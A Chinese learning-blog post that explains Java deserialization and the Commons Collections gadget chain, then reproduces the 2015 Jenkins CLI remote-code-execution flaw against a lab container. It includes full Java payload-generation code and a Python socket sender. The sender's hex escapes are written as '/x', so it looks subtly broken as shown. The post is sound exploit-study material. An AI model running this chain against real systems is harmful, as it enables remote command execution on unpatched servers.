距离上一次更新博客差不多已经过去一个月了,中间的事情确实也很多。最近勉强把Java的基础给补了,就来记录一下Java中最经典的反序列化漏洞。
Java中并非所有的数据类型都可以进行序列化,想要进行序列化和反序列化的数据结构需要使用 Serializable 这样一个接口。例如下面这个类
public class Employee implements Serializable {
private String name;
private String identify;
// setter and getter
}
然后通过如下方式,就可以将一个类进行序列化,变成可持久化存储的二进制数据。
public static void main(String[] args){
Employee e = new Employee();
try{
FileOutputStream fileOut = new
FileOutputStream("1.bin");
ObjectOutputStream out = new ObjectOutputStream(fileOut);
out.writeObject(e);
out.close();
fileOut.close();
System.out.println("Serialized data is complete.");
}catch (IOException i){
i.printStackTrace();
}
}
可以来看一下生成的序列化数据
0xaced ,魔术头 0x0005 ,版本号 (JDK主流版本一致,下文如无特殊标注,都以JDK8u为例) 开头的几位一般来当作Java序列化字节的特征。
可以看到Java的序列化数据没有像PHP一样那么容易被人理解,是以一种字节码的形式进行保存的。
public static void main(String[] args){
Employee e = null;
try{
FileInputStream fileIn = new FileInputStream("1.bin");
ObjectInputStream in = new ObjectInputStream(fileIn);
e = (Employee) in.readObject();
in.close();
fileIn.close();
}catch(IOException i)
{
i.printStackTrace();
return;
}catch(ClassNotFoundException c)
{
System.out.println("Employee class not found");
c.printStackTrace();
return;
}
System.out.println(e.toString());
}
通过以上的方式,就可以将序列化后的字节码重新反序列化程程序中的类。
相比PHP中的反序列化,Java中做了更多的安全检测机制,例如 SerialVersionUID
当类中没有自定义这个值的时候,会通过一系列的Hash算法自动生成这个值,详细的可以看 https://xz.aliyun.com/t/3847#toc-3
简而言之就是当反序列化时的类与序列化时候的类“不一致”(例如类中的方法和原先的不一致)的时候,不会允许你进行反序列化。
反序列化的主要攻击方式,就是控制类中的数据,然后带入到危险函数中进行攻击。
1、由于Java中不存在PHP中那么多的魔术方法,所以这一条路可以算是gg了。
2、其次由于 SerialVersionUID 的存在,不允许进行任意类的反序列化。而且通常在反序列化的时候都会进行一次类型转换,所以任意类的反序列化也变成了不可能。
3、然后就是当原先类的方法中存在危险函数,又正好在反序列化之后被调用了,就可以引发危害。但是感觉遇到的机会实属小。
4、然后就是Java中最常用的一种利用方式
可以观察到,在每个反序列化的过程中,都会调用 readObject() 这个方法
前辈大佬们就去寻找重写了这个方法的类,并配合 invoke 反射的机制,构造pop链,形成了Java中最具特色的反序列化攻击。
以下内容摘自 https://security.tencent.com/index.php/blog/msg/97
Commons Collections实现了一个 TransformedMap 类,该类是对Java标准数据结构Map接口的一个扩展。该类可以在一个元素被加入到集合内时,自动对该元素进行特定的修饰变换,具体的变换逻辑由 Transformer 类定义, Transformer 在 TransformedMap 实例化时作为参数传入。
我们可以通过 TransformedMap.decorate() 方法,获得一个 TransformedMap 的实例。
当 TransformedMap 内的key 或者 value发生变化时,就会触发相应的 Transformer 的 transform() 方法。另外,还可以使用 Transformer 数组构造成 ChainedTransformer 。当触发时, ChainedTransformer 可以按顺序调用一系列的变换。而Apache Commons Collections已经内置了一些常用的 Transformer ,其中 InvokerTransformer 类就是今天的主角。
它的transform方法如下:
这个 transform(Object input) 中使用Java反射机制调用了input对象的一个方法,而该方法名是实例化 InvokerTransformer 类时传入的 iMethodName 成员变量:
也就意味着,我们现在可以完全控制其中的反射部分
然后利用反射机制,动态调用其它类中的方法。通过以下的链式调用,就可以命令执行
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{
String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{ Object.class,
Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[] {String.class},
new Object[]{"calc"})};
Transformer transformedChain = new ChainedTransformer(transformers);
Map normalMap = new HashMap();
normalMap.put("value", "value");
Map transformedMap = TransformedMap.decorate(normalMap, null, transformedChain);
Map.Entry entry = (Map.Entry) transformedMap.entrySet().iterator().next();
entry.setValue("test");
}
在最后重新set了Value的值之后,就触发了了 Transformer的transform() 方法 。
就相当于利用反射机制,链式执行了系统命令
可以在运行之后,就能看到弹出的计算器。
然后需要找到一个重写了 readObject 方法,并且对其中的一个 Map 类型成员变量进行重新赋值的这样一个类。于是在 sun.reflect.annotation.AnnotationInvocationHandler 这样一个原生的包中,就存在这样一个类。
这样,我们就可以反序列化这个类,将其成员变量 memeberVaules 反序列化成之前的那个 TransformedMap ,利用反射机制,就可以命令执行。
在2015爆出的Commons Collections反序列化之后,众多厂商都躺枪,今天挑了一个 Jenkins 的反序列化,通过手工构造Payload的形式,复现当年的反序列化漏洞。
靶场环境: https://github.com/Medicean/VulApps/tree/master/j/jenkins/1
不过这个漏洞的端口并不是在应用的web端口,而是在Jenkins的CLI端口(一般是一个随机的大端口),在靶场里是固定的50000
通过wireshare进行流量包的抓取之后,可以看到其中存在Java反序列化的特征值 ac ed 00 05 的base64编码之后的值 rO0AB
所以,只要我们模拟之前的TCP通信,并将这段base64编码的数据替换成我们恶意构造的序列化数据,就可以达成反序列化攻击。
生成序列化字节
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{
String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{ Object.class,
Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[] {String.class},
new Object[]{"touch /tmp/eval"})};
Transformer transformedChain = new ChainedTransformer(transformers);
Map normalMap = new HashMap();
normalMap.put("value", "value");
Map transformedMap = TransformedMap.decorate(normalMap, null, transformedChain);
Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
Object instance = ctor.newInstance(Target.class, transformedMap);
File f = new File("eval.bin");
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
out.writeObject(instance);
}
然后用python进行socket通信
#!/usr/bin/env python
# coding: utf-8
import sys
import base64
import socket
import hashlib
import time
host = sys.argv[1]
sock_fd = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
cli_listener = (socket.gethostbyname(host), 50000)
print('[+] Connecting CLI listener %s:%s' % cli_listener)
sock_fd.connect(cli_listener)
print('[+] Sending handshake headers')
headers = '/x00/x14/x50/x72/x6f/x74/x6f/x63/x6f/x6c/x3a/x43/x4c/x49/x2d/x63/x6f/x6e/x6e/x65/x63/x74'
sock_fd.send(headers)
sock_fd.recv(1024)
sock_fd.recv(1024)
payload_obj_b64 = sys.argv[2]
payload = '/x3c/x3d/x3d/x3d/x5b/x4a/x45/x4e/x4b/x49/x4e/x53/x20/x52/x45/x4d/x4f/x54/x49/x4e/x47/x20/x43/x41/x50/x41/x43/x49/x54/x59/x5d/x3d/x3d/x3d/x3e'
payload += payload_obj_b64
print('[+] Sending payload')
sock_fd.send(payload)
print('[+] Send All')
手动传入base64之后的数据
之后就可以在docker中看到/tmp目录下生成的 eval 文件
亲手完成了这些反序列化的过程感觉还是可以的,以后实际构造payload时可以利用 ysoserial 这个工具,里面有很多已经构造好了的pop链,Java反序列化必备神器。
https://github.com/frohoff/ysoserial
感觉Java的漏洞需要的前置知识还是有蛮多的,比PHP的入门门槛要高一截。
最后,由于一些原因,以后博客可能也不能像之前更的那么勤快了。但会努力不让它太荒废的。